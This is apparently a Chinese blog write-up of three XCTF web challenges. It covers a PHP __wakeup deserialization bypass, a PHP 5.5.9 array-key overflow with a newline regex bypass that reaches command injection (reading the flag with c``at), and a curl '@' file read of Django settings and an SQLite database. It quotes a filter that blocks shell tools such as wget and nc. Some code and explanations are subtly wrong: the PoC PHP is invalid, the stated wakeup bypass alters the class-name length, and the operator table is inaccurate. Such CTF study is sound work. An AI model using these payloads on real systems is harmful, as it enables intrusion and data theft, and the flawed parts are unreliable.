攻防世界刷题unserialize3、favorite_number、cat

今天又是去排练的一天,趁还没去做点题吧

目录

unserialize3

favorite_number

cat


 

unserialize3

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

好简单的一个反序列化,绕过wakeup就行了

poc:
 

<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$c=xctf
echo serialize($c)
?>

php运行一下得到

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

为了绕过wakeup我们改成

O:5:"xctf":1:{s:4:"flag";s:3:"111";}

最后

?code=O:5:"xctf":1:{s:4:"flag";s:3:"111";}

拿下,这个题一开始看那么简单就没仔细看,结果少了个花括号。就报错,,,,,

favorite_number

附代码

<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
    $num= $_POST["num"];
    if (preg_match("/^\d+$/im",$num)){
        if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
            echo "my favorite num is:";
            system("echo ".$num);
        }else{
            echo 'Bonjour!';
        }
    }
} else {
    highlight_file(__FILE__);
}

注释了个php5.5.9,有意思

这个题的大概意思就是让stuff参数编程一个数组,并赋值给第一个数组和第二个数组,并且让第一个数组的值不等于已经给赋过的值。然后就可以进入条件语句,POST传一个num进行远程代码执行!过滤了一些东西,但是没完全过滤。我这种菜鸡也能绕

但是第一个绕过有点头疼

既要数组强等于,又要首元素不等

我们只好跟着注释去看php5.5.9的问题,附上大佬的文章

PHP数组的key溢出问题

漏洞就是说数组中[]里0的元素与4294967296的元素是一样的,所以可以进行绕过第一个if

stuff[4294967296]=admin&stuff[1]=user

第二个绕过是绕过正则匹配,我们可以看到有两个正则匹配,换行就可以绕过了,url编码就是%0a

所以payload

stuff[4294967296]=admin&stuff[1]=user&num=123%0ac``at /fla``g

拿下

cat

这是一个rce,一开始输入baidu.com没有反应,可能是不出网?然后127.0.0.1看一下,有回显

一开始我想着拼接,用

符号作用
|

直接执行后面的语句

||前面的语句执行错误则执行后面的语句
&前面的语句为假则执行后面的语句
&&前面语句为假,直接出错

 奈何他说命令出错

Invalid URL

那就只能换个思路下去了,看了看大佬的WP,据说在比赛时候有这么一个hint

RTFM of PHP CURL===>>read the fuck manul of PHP CURL???
CURL是一个利用URL语法在命令行方式下工作的文件传输工具。curl是一个利用URL语法在命令行方式下工作的文件传输工具。

它支持很多协议:FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE 以及 LDAP。curl同样支持HTTPS认证,HTTP POST方法, HTTP PUT方法, FTP上传, kerberos认证, HTTP上传, 代理服务器, cookies, 用户名/密码认证, 下载文件断点续传,

上载文件断点续传, http代理服务器管道( proxy tunneling), 甚至它还支持IPv6, socks5代理服务器, 通过http代理服务器上传文件到FTP服务器等等,功能十分强大。

原来php默认并不进行此项功能的扩展,但还是有的,只是没有让它生效罢了。打开PHP安装目录,搜索以下三个文件 ssleay32.dll、libeay32.dll和 php_curl.dll,

 这些都被过滤了,fuzz一下发现只有@没有被过滤,@的url编码是%40尝试一下宽字节

%bf

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5aec5bCP5a2pLg==,size_20,color_FFFFFF,t_70,g_se,x_16

 watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5aec5bCP5a2pLg==,size_20,color_FFFFFF,t_70,g_se,x_16

 爆出了源码,查了一下是因为开启了debug,,,,debug不要随便开啊!

查了一下ping

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5aec5bCP5a2pLg==,size_20,color_FFFFFF,t_70,g_se,x_16

emmmmm这样的代码不好看的话就把代码全复制出来然后再打开,就可以很明显看到是debug,结合上面的提示

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5aec5bCP5a2pLg==,size_20,color_FFFFFF,t_70,g_se,x_16

 在PHP手册看看这个函数CURLOPT_POSTFIELDS

意思大概就是可以用@读取文件内容,但是要知道文件的绝对路径,根据debug页面知道了项目的绝对路径为/opt/api

后知后觉要懂一些django的开发基本知识,gjango项目下一般有个settings.py文件是设置网站数据库路径的,如果使用其他数据库的话settings.py里面会有数据库的账号密码,chuciwaisettings.py还会对项目整体的设置进行定义。

读取settings.py文件,这里需要注意django项目声称是settings.py会存放在项目目录下,并以项目名称命名的文件夹下。

所以payload:

?url=@/opt/api/api/settings.py

把报出来的源码用HTML打开可以看到

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5aec5bCP5a2pLg==,size_20,color_FFFFFF,t_70,g_se,x_16

那我们就可以打开它啦 

?url=@/opt/api/database.sqlite3

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5aec5bCP5a2pLg==,size_20,color_FFFFFF,t_70,g_se,x_16

 搜索一下就可以找到啦!

这个题考点真的很广泛!

感谢攻防世界提供优质的题,感谢勤劳的自己!

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

姜小孩.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值